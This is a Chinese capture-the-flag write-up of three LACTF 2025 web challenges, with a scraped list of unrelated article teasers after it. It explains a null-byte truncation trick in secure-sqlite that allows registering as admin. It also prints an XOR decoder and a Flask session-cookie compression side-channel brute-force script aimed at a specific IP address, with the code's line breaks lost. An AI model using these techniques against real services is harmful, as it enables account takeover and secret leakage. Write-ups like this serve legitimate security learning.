【Web】LACTF 2025 wp

目錄

arclbroth

lucky-flag

whack-a-mole


arclbroth

看到username為admin能拿到flag

但不能重復注冊存在的用戶

?

這題是secure-sqlite這個庫的問題,底層用的是C,沒處理好\0字符截斷的問題

(在 Node.js 中,由于其字符串表示方式,字符串可能包含空字節。然而,在 C 語言中,字符串以空字節終止。)

?

?插入數據庫的時候只會保留\0前的admin

?

帶著這個session去訪問

成功截斷

?

lucky-flag

很夸張了

看下main.js,發現flag的加密邏輯

讓gpt寫個腳本解一下

?

import json# 原始加密字符串
enc = r'"\u000e\u0003\u0001\u0016\u0004\u0019\u0015V\u0011=\u000bU=\u000e\u0017\u0001\t=R\u0010=\u0011\t\u000bSS\u001f"'# 1. 解析 JSON(類似 JavaScript 的 JSON.parse)
parsed = json.loads(enc)# 2. 對每個字符進行 XOR 0x62 運算
rw = []
for c in parsed:xor_result = ord(c) ^ 0x62  # ord() 獲取 Unicode 碼點rw.append(xor_result)# 3. 將 ASCII 碼轉換為字符并拼接
flag = ''.join([chr(x) for x in rw])print(f"Flag: {flag}")

whack-a-mole

password 是 Flag的變形(每個字符ASCII碼 + funny_num mod 128)

要求username等于變形后的password

考察flask的session機制

客戶端 session 導致的安全問題 | 離別歌?

flask生成的session會對相同字符串進行zlip壓縮(這里則是username為password的子串時)

通過session長度差異進行側信道攻擊

爆破腳本

import string
import requests# 目標網站基礎URL
BASE_URL = "http://27.25.151.98:10001/"# 可能的flag字符(字母、數字、花括號、下劃線)
ALLOWED_CHARS = string.ascii_letters + string.digits + "{}_"# 隨機填充字符串,用于調整cookie長度
RANDOM_PADDING = "q3aUrDpfmRzMzABTCILvXCOA3Us"# 創建一個會話對象,維持登錄狀態
session = requests.Session()def get_session_length(guess_username):"""提交用戶名猜測,返回加密后的session cookie長度"""response = session.post(BASE_URL.rstrip("/") + "/login",data={"username": guess_username, "funny": "0"},allow_redirects=False,)encrypted_session = session.cookies["session"]return len(encrypted_session)def construct_guess(current_prefix, test_char, padding_length):"""構造猜測字符串:重復 (current_prefix + test_char) + 填充"""repeated_guess = (current_prefix + test_char) * 16  # 16次重復以提高壓縮率padded_guess = repeated_guess + RANDOM_PADDING[:padding_length]return padded_guessdef find_next_char(current_flag_prefix):"""嘗試找出下一個正確的flag字符"""for padding in range(16):  # 嘗試不同的填充長度(0-15)char_results = []for char in ALLOWED_CHARS:guess = construct_guess(current_flag_prefix, char, padding)session_length = get_session_length(guess)char_results.append((session_length, char))# 按session長度排序,最短的可能包含flag片段char_results.sort()# 如果最短長度的字符唯一,則認為是正確的if char_results[0][0] != char_results[1][0]:return char_results[0][1], paddingreturn None, None  # 如果沒有找到,返回Nonedef main():current_flag = "lac"  # 初始已知的flag前綴best_padding = 0  # 記錄當前最優的填充長度while "}" not in current_flag:  # 直到flag結束(以 } 結尾)next_char, best_padding = find_next_char(current_flag)if next_char is None:print("無法找到下一個字符!")breakcurrent_flag += next_charprint(current_flag)  # 輸出當前flag猜測if __name__ == "__main__":main()

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/80231.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/80231.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/80231.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

訪問者模式(Visitor Pattern)詳解

文章目錄 1. 訪問者模式概述1.1 定義1.2 基本思想 2. 訪問者模式的結構3. 訪問者模式的UML類圖4. 訪問者模式的工作原理5. Java實現示例5.1 基本實現示例5.2 訪問者模式處理復雜對象層次結構5.3 訪問者模式在文件系統中的應用 6. 訪問者模式的優缺點6.1 優點6.2 缺點 7. 訪問者…

matlab介紹while函數

MATLAB 中的 while 語句介紹 在 MATLAB 中,while 語句是一種循環結構,用于在滿足特定條件時反復執行一段代碼塊。與 for 循環不同,while 循環的執行次數是動態的,取決于循環條件是否為真。 語法 while condition% 循環體代碼 e…

數字信號處理|| 快速傅里葉變換(FFT)

一、實驗目的 (1)加深對快速傅里葉變換(FFT)基本理論的理解。 (2)了解使用快速傅里葉變換(FFT)計算有限長序列和無限長序列信號頻譜的方法。 (3)掌握用MATLA…

.Net Mqtt協議-MQTTNet(一)簡介

一、MQTTNet 簡介 MQTTnet 是一個高性能的MQTT類庫,支持.NET Core和.NET Framework。 二、MQTTNet 原理 MQTTnet 是一個用于.NET的高性能MQTT類庫,實現了MQTT協議的各個層級,包括連接、會話、發布/訂閱、QoS(服務質量&#xff0…

時鐘晶振鎖相環pll方向技術要點和大廠題目解析

本專欄預計更新60期左右。當前第9期。 本專欄不僅適用于硬件的筆試面試,同樣也適用于梳理硬件核心的知識點。 通過本文能得到什么? 首先,根據實戰經驗總結時鐘晶振,鎖相環的主要知識點,技術要點,面試考點; 然后,列出時鐘晶振,鎖相環的筆試面試的主要題型真題和模擬題,…

機器學習 day6 -線性回歸練習

題目?: 從Kaggle的“House Prices - Advanced Regression Techniques”數據集使用Pandas讀取數據,并查看數據的基本信息。選擇一些你認為對房屋價格有重要影響的特征,并進行數據預處理(如缺失值處理、異常值處理等)。…

緩存(2):數據一致性

概述 一致性就是數據保持一致,在分布式系統中,可以理解為多個節點中數據的值是一致的。 強一致性:這種一致性級別是最符合用戶直覺的,它要求系統寫入什么,讀出來的也會是什么,用戶體驗好,但實現起來往往對系統的性能影響大弱一致性:這種一致性級別約束了系統在寫入成功…

CH579 CH573 CH582 CH592 藍牙主機(Central)實例應用講解

藍牙主機(Central),顧名思義,就是一個藍牙主設備,與從機(Peripheral)建立連接進行通信,可以接收從機通知,也可以給從機發送信息,通常Central和Peripheral結合…

不同類型的 SAP 項目

目錄 1 實施項目 2 SAP S/4 HANA 升級項目 3 數據遷移項目 4 優化項目 5 Rollout 項目 6 運維項目 1 實施項目 企業第一次用 SAP 系統,從硬件搭建到安裝 SAP、根據業務流程做配置、開發、培訓業務、測試系統直到系統上線。 SAP S/4 HANA ACTIVATE 實施方法論…

【uniapp】errMsg: “navigateTo:fail timeout“

項目場景: 在點擊編輯的時候不能跳轉的編輯的頁面,然后直接報錯errMsg: "navigateTo:fail timeout" 解決方案: 看看是否是出現了盒子的冒泡事件導致了兩次調用跳轉路徑 tap.stop

記錄學習的第三十五天

今天主攻單源最短路Dijkstra算法。不過,還是沒有完全掌握。 首先是書本的例題我理解了一遍。 然后其實在力扣上做了三道題的,但是我看題解的情況就不太會。然后試著用上面的方法敲了一下↓的題,但是不對啊,我也不知道為什么呀。

Spring-博客系統項目

一,實現效果 登錄: 注冊: 博客列表 個人博客中心 博客詳情: 更新博客 編寫博客 二,數據庫的建立和連接 首先,需要建庫,需要兩個實體,一個是用戶,一個是博客,需要如下屬性,需要注意的是需要將密碼的變長字符創設置的長一些,因為之后會對用戶的密碼進行加密,該博客中密碼…

依賴注入詳解與案例(前端篇)

依賴注入詳解與案例(前端篇) 一、依賴注入核心概念與前端價值 依賴注入(Dependency Injection, DI) 是一種通過外部容器管理組件/類間依賴關系的設計模式,其核心是控制反轉(Inversion of Control, IoC&…

diy裝機成功錄

三天前,我正式開啟了這次裝機之旅,購入了一顆性能強勁的 i5-12400 CPU,一塊繪圖能力出色的 3060ti 顯卡,還有技嘉主板、高效散熱器、16G 內存條、2T 固態硬盤,以及氣派的機箱和風扇,滿心期待能親手打造一臺…

計算機三大主流操作系統的前世今生 - Linux|macOS|Windows

全文目錄 1 引言2 起源之路2.1 Linux 起源2.2 macOS 起源2.3 Windows 起源 3 綜合解析3.1 Linux系統綜合解析3.1.1 系統定義與核心架構3.1.2 發展歷程3.1.3 核心特點3.1.4 主流發行版3.1.5 應用場景 3.2 macOS系統綜合解析3.2.1 系統定義與核心架構3.2.2 發展歷程3.2.3 核心特點…

【AI智能推薦系統】第七篇:跨領域推薦系統的技術突破與應用場景

第七篇:跨領域推薦系統的技術突破與應用場景 提示語:?? “打破數據孤島,實現1+1>2的推薦效果!深度解析美團、亞馬遜如何用跨領域推薦技術實現業務協同,知識遷移核心技術全公開!” 目錄 跨領域推薦的商業價值跨領域推薦技術體系 2.1 基于共享表征的學習2.2 遷移學習…

R 語言科研繪圖 --- 桑基圖-匯總

在發表科研論文的過程中,科研繪圖是必不可少的,一張好看的圖形會是文章很大的加分項。 為了便于使用,本系列文章介紹的所有繪圖都已收錄到了 sciRplot 項目中,獲取方式: R 語言科研繪圖模板 --- sciRplothttps://mp.…

LintCode第485題-生成給定大小的數組,第220題-冰雹猜想,第235題-分解質因數

第485題 描述 給你一個大小size,生成一個元素從1 到 size的數組 樣例 1:輸入: size 4輸出: [1, 2, 3, 4]樣例解釋: 返回一個順序填充1到4的數組。樣例 2:輸入: size 1輸出: [1]樣例解釋: 返回一個順序填充1到1的數組 代碼如下: public class Solution { /** * param s…

Pandas:數據處理與分析

目錄 一、Pandas 簡介 二、Pandas 的安裝與導入 三、Pandas 的核心數據結構 (一)Series (二)DataFrame 四、Pandas 數據讀取與寫入 (一)讀取數據 (二)寫入數據 五、數據清洗…

Linux云計算訓練營筆記day05(Rocky Linux中的命令:管道操作 |、wc、find、vim)

管道操作 | 作用: 將前面命令的輸出,傳遞給后面命令,作為后面命令的參數 head -3 /etc/passwd | tail -1 取第三行 head -8 /etc/passwd | tail -3 | cat -n 取6 7 8行 ifconfig | head -2 | tail -1 只查看IP地址 ifconfig | grep 192 過濾192的ip…